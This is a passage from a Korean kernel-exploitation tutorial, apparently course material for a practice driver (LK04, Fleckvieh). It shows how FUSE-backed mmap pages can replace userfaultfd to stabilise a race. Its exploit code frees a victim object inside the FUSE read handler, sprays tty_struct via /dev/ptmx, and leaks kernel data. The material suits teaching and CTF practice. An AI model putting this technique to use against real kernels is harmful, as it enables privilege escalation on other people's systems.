이전 장에서는 userfaultfd를 이용하여 LK04(Fleckvieh)의 경쟁을 안정화시켰습니다. 본 장에서는 마찬가지로 LK04를, 다른 방법으로 exploit 해 보겠습니다.

userfaultfd의 단점

이전 장에서도 조금 설명했듯이, userfaultfd는 현재 Linux에서는 표준으로 일반 사용자는 이용할 수 없습니다. 정확하게는, 사용자 공간에서 발생시킨 페이지 부재는 감지할 수 있지만, 커널 공간에서 발생한 것은 일반 사용자가 만든 userfaultfd에서는 감지할 수 없습니다. 각각 아래 패치에서 도입된 보안 완화 기법입니다.

따라서, 이번에는 Linux의 기능 중 하나인 FUSE라는 구조를 이용합니다. 먼저 FUSE가 무엇인지 공부합시다.

FUSE란

FUSE(Filesystem in Userspace)는, 사용자 공간에서 가상으로 파일 시스템 구현을 가능하게 하는 Linux의 기능입니다. CONFIG_FUSE_FS를 붙여서 커널을 빌드 하면 유효해집니다.
먼저, 프로그램은 FUSE를 사용해 파일 시스템을 마운트 합니다. 누군가가 이 파일 시스템 안의 파일에 접근하면, 프로그램 측에서 설정한 핸들러가 호출됩니다. 구조는 LK01에서 본 캐릭터 디바이스 구현과 매우 비슷합니다[1].

늑대군

FUSE를 사용하고 있는 애플리케이션으로는, sshfsAppImage가 있어.

FUSE의 이용

시스템상의 FUSE 버전은 fusermount 명령어로 조사할 수 있습니다.

1
2
/ $ fusermount -V
fusermount version: 2.9.9

로컬 머신에서 FUSE를 시험해 보고 싶은 경우, 다음 명령어로 설치해 주세요. 이번에는 타겟의 FUSE가 버전 2이므로, fuse3가 아닌 fuse를 사용합니다.

1
# apt-get install fuse

또한, FUSE를 사용하는 프로그램을 컴파일할 때 헤더가 필요하므로, 다음 명령어로 설치해 두세요.

1
# apt-get install libfuse-dev

그러면 실제로 FUSE를 사용해 봅시다.
FUSE를 이용하여 만든 파일 시스템 안의 파일에 조작이 실행되면, fuse_operations에 정의한 핸들러가 호출됩니다. fuse_operations에는 파일 조작인 open, read, write, close나 디렉터리 접근인 readdir, mkdir 등 외에도, chmodioctl, poll 등, 모든 조작을 독자 구현할 수 있습니다. 이번에는 exploit 목적으로 이용할 뿐이므로, 파일의 open, read가 구현되면 충분합니다. 또한, open 하기 위해서는 파일 권한 등의 정보를 반환하는 getattr 함수도 정의해야 합니다. 실제 코드를 읽어봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#define FUSE_USE_VERSION 29
#include <errno.h>
#include <fuse.h>
#include <stdio.h>
#include <string.h>

static const char *content = "Hello, World!\n";

static int getattr_callback(const char *path, struct stat *stbuf) {
puts("[+] getattr_callback");
memset(stbuf, 0, sizeof(struct stat));

/* 마운트 위치에서 본 경로가 "/file"인지 확인 */
if (strcmp(path, "/file") == 0) {
stbuf->st_mode = S_IFREG | 0777; // 권한
stbuf->st_nlink = 1; // 하드 링크 수
stbuf->st_size = strlen(content); // 파일 사이즈
return 0;
}

return -ENOENT;
}

static int open_callback(const char *path, struct fuse_file_info *fi) {
puts("[+] open_callback");
return 0;
}

static int read_callback(const char *path,
char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) {
puts("[+] read_callback");

if (strcmp(path, "/file") == 0) {
size_t len = strlen(content);
if (offset >= len) return 0;

/* 데이터를 반환 */
if ((size > len) || (offset + size > len)) {
memcpy(buf, content + offset, len - offset);
return len - offset;
} else {
memcpy(buf, content + offset, size);
return size;
}
}

return -ENOENT;
}

static struct fuse_operations fops = {
.getattr = getattr_callback,
.open = open_callback,
.read = read_callback,
};

int main(int argc, char *argv[]) {
return fuse_main(argc, argv, &fops, NULL);
}

다음과 같이 -D_FILE_OFFSET_BITS=64를 붙여서 컴파일합니다.

1
$ gcc test.c -o test -D_FILE_OFFSET_BITS=64 -lfuse

또한, 배포 환경 안에서 시험할 경우, 정적 링크해야 합니다. FUSE가 요구하는 라이브러리 등을 확인하면 pthread가 필요하다는 것을 알 수 있습니다.

1
2
$ pkg-config fuse --cflags --libs
-D_FILE_OFFSET_BITS=64 -I/usr/include/fuse -lfuse -pthread

이 옵션을 붙여서 빌드 해도 dl 관련 함수가 필요하다고 나옵니다.

1
2
3
4
5
6
7
8
9
10
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_put_module.isra.0':
(.text+0xe0e): undefined reference to `dlclose'
/usr/bin/ld: /usr/lib/gcc/x86_64-linux-gnu/10/../../../x86_64-linux-gnu/libfuse.a(fuse.o): in function `fuse_new_common':
(.text+0x9e9e): undefined reference to `dlopen'
/usr/bin/ld: (.text+0x9efb): undefined reference to `dlsym'
/usr/bin/ld: (.text+0xa1e2): undefined reference to `dlerror'
/usr/bin/ld: (.text+0xa265): undefined reference to `dlclose'
/usr/bin/ld: (.text+0xa282): undefined reference to `dlerror'
collect2: error: ld returned 1 exit status
make: *** [Makefile:2: all] Error 1

링크 순서에 주의해서, -ldl을 맨 뒤에 붙여서 컴파일하면, 배포 환경 내에서도 gcc로 빌드 한 프로그램으로 FUSE를 사용할 수 있습니다.

1
$ gcc test.c -o test -D_FILE_OFFSET_BITS=64 -static -pthread -lfuse -ldl

fuse_main이 인수를 파싱 해서 메인 처리를 실행합니다. 여기서는 /tmp/test에 마운트 해 봅니다.

1
2
$ mkdir /tmp/test
$ ./test -f /tmp/test

올바르게 동작하고 있는 경우, 에러는 나오지 않고 프로그램이 정지합니다. 에러가 나오는 경우, OS가 FUSE에 대응하고 있는지나, 컴파일 시의 FUSE 버전이 일치하는지 등을 확인해 주세요.
이 상태로 다른 터미널에서 /tmp/test/file에 접근하면, 데이터를 읽을 수 있습니다.

1
2
$ cat /tmp/test/file
Hello, World!

또한, 이번에는 readdir을 구현하지 않았기 때문에, 마운트 포인트에 대해 ls 등으로 파일 목록을 볼 수 없으며, 루트 디렉터리에 대한 getattr도 구현하지 않았기 때문에, /tmp/test의 존재 자체가 보이지 않게 되어 있습니다.

또, 위 프로그램에서 이용하고 있는 fuse_main은 헬퍼 함수입니다. 일일이 인수를 지정하는 것이 싫은 경우, 다음과 같이 호출하는 것도 가능합니다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int main()
{
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;

if (!(chan = fuse_mount("/tmp/test", &args)))
fatal("fuse_mount");

if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) {
fuse_unmount("/tmp/test", chan);
fatal("fuse_new");
}

fuse_set_signal_handlers(fuse_get_session(fuse));
fuse_loop_mt(fuse);

fuse_unmount("/tmp/test", chan);

return 0;
}

fuse_mount로 마운트 포인트를 정하고, fuse_new로 FUSE 인스턴스를 생성합니다. fuse_loop_mt(mt는 멀티 스레드)로 이벤트를 감시합니다. 프로그램이 종료될 때 감시에서 빠져나올 수 있도록, fuse_set_signal_handlers를 설정하는 것을 잊지 말도록 합시다. 마지막 fuse_unmount에 도달하지 않으면, 마운트 포인트가 깨져 버립니다.

Race의 안정화

그러면 FUSE를 exploit 안정화에 이용하는 방법을 생각해 봅시다.
그렇다고 해도 원리는 userfaultfd 때와 완전히 똑같습니다. userfaultfd에서는 페이지 부재를 기점으로 사용자 측 핸들러를 호출하게 했지만, FUSE의 경우는 파일의 read를 기점으로 합니다.
FUSE로 구현한 파일을 mmap으로 MAP_POPULATE 없이 메모리에 맵 하면, 그 영역을 읽고 쓴 시점에 페이지 부재가 발생하고, 최종적으로 read가 호출됩니다. 이것을 이용하면 userfaultfd 때와 마찬가지로, 메모리 읽기/쓰기가 발생하는 타이밍에 컨텍스트를 전환할 수 있습니다.

그림으로 나타내면 다음과 같이 됩니다.

FUSE에 의한 Use-after-Free

userfaultfd 때와의 차이는, 페이지 부재 발생 시에 FUSE를 경유해서 핸들러가 호출된다는 점뿐입니다. 실제로, 이것을 사용해 Race를 안정화시켜 봅시다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
cpu_set_t pwn_cpu;
char *buf;
int victim;

...

static int read_callback(const char *path,
char *buf, size_t size, off_t offset,
struct fuse_file_info *fi) {
static int fault_cnt = 0;
printf("[+] read_callback\n");
printf(" path : %s\n", path);
printf(" size : 0x%lx\n", size);
printf(" offset: 0x%lx\n", offset);

if (strcmp(path, "/pwn") == 0) {
switch (fault_cnt++) {
case 0:
puts("[+] UAF read");
/* [1-2] `blob_get`에 의한 페이지 부재 */
// victim을 해제
del(victim);

// tty_struct를 스프레이 하고, victim 위치에 덮어씌움
int fds[0x10];
for (int i = 0; i < 0x10; i++) {
fds[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY);
if (fds[i] == -1) fatal("/dev/ptmx");
}
return size;
}
}

return -ENOENT;
}

...

int setup_done = 0;

void *fuse_thread(void *_arg) {
struct fuse_args args = FUSE_ARGS_INIT(0, NULL);
struct fuse_chan *chan;
struct fuse *fuse;

if (mkdir("/tmp/test", 0777))
fatal("mkdir(\"/tmp/test\")");

if (!(chan = fuse_mount("/tmp/test", &args)))
fatal("fuse_mount");

if (!(fuse = fuse_new(chan, &args, &fops, sizeof(fops), NULL))) {
fuse_unmount("/tmp/test", chan);
fatal("fuse_new");
}

/* 메인 스레드를 같은 CPU로 움직인다 */
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

fuse_set_signal_handlers(fuse_get_session(fuse));
setup_done = 1;
fuse_loop_mt(fuse);

fuse_unmount("/tmp/test", chan);
return NULL;
}

int main(int argc, char **argv) {
/* 메인 스레드와 FUSE 스레드가 반드시 같은 CPU에서 움직이도록 설정한다 */
CPU_ZERO(&pwn_cpu);
CPU_SET(0, &pwn_cpu);
if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu))
fatal("sched_setaffinity");

pthread_t th;
pthread_create(&th, NULL, fuse_thread, NULL);
while (!setup_done);

/*
* Exploit 본체
*/
fd = open("/dev/fleckvieh", O_RDWR);
if (fd == -1) fatal("/dev/fleckvieh");

/* FUSE 파일을 메모리에 맵 */
int pwn_fd = open("/tmp/test/pwn", O_RDWR);
if (pwn_fd == -1) fatal("/tmp/test/pwn");
void *page;
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE, pwn_fd, 0);
if (page == MAP_FAILED) fatal("mmap");

/* tty_struct와 같은 사이즈의 데이터 설정 */
buf = (char*)malloc(0x400);
victim = add(buf, 0x400);
set(victim, "Hello", 6);

/* [1-1] UAF Read: tty_struct의 유출 */
get(victim, page, 0x400);
for (int i = 0; i < 0x80; i += 8) {
printf("%02x: 0x%016lx\n", i, *(unsigned long*)(page + i));
}

return 0;
}

이전 장의 코드와 비교하면, 구조가 매우 비슷하다는 것을 알 수 있습니다. 이처럼 FUSE는 userfaultfd의 대체책으로서, exploit에 사용할 수 있는 경우가 있습니다. 코드를 실행하면 tty_struct의 일부가 유출된 것을 알 수 있습니다.

UAF Read

userfaultfd 때와 마찬가지로, copy_to_user를 큰 사이즈로 호출하고 있기 때문에, 데이터의 선두는 유출되지 않았습니다. 이에 관해서는, 지난번과 같이 작은 사이즈의 유출을 통해 해결할 수 있습니다.

그런데, userfaultfd와 달리 주의해야 할 것이, read로 맵 한 사이즈만큼 데이터가 요구된다는 점입니다. userfaultfd에서는 페이지 사이즈(0x1000)마다 부재가 발생했습니다. 그 때문에, 예를 들어 3번 부재 핸들러를 부르고 싶은 경우, 0x3000 바이트만 mmap 하면 됩니다.
하지만 FUSE의 경우, 첫 번째 부재에서 0x3000 바이트의 요구가 달리기 때문에, 이후 페이지 부재가 발생하지 않습니다. 이 문제는 파일을 다시 여는 것으로 간단하게 해결할 수 있습니다.

여러 번 파일을 열게 되므로, 함수화해 둡시다.

1
2
3
4
5
6
7
8
9
10
11
12
int pwn_fd = -1;
void* mmap_fuse_file(void) {
if (pwn_fd != -1) close(pwn_fd);
pwn_fd = open("/tmp/test/pwn", O_RDWR);
if (pwn_fd == -1) fatal("/tmp/test/pwn");

void *page;
page = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE,
MAP_PRIVATE, pwn_fd, 0);
if (page == MAP_FAILED) fatal("mmap");
return page;
}

나머지는 기본적으로 userfaultfd 때와 같습니다. userfaultfd에서 copy.src를 설정했을 때의 조작은, FUSE에서는 memcpy로 사용자 버퍼에 데이터를 복사하는 것으로 실현할 수 있습니다.
직접 exploit을 완성시켜 보세요.

UAF Read

샘플 exploit 코드는 여기에서 다운로드할 수 있습니다.


  1. 사용자 공간에서 가상으로 캐릭터 디바이스를 등록하는 CUSE라는 구조도 있습니다. ↩︎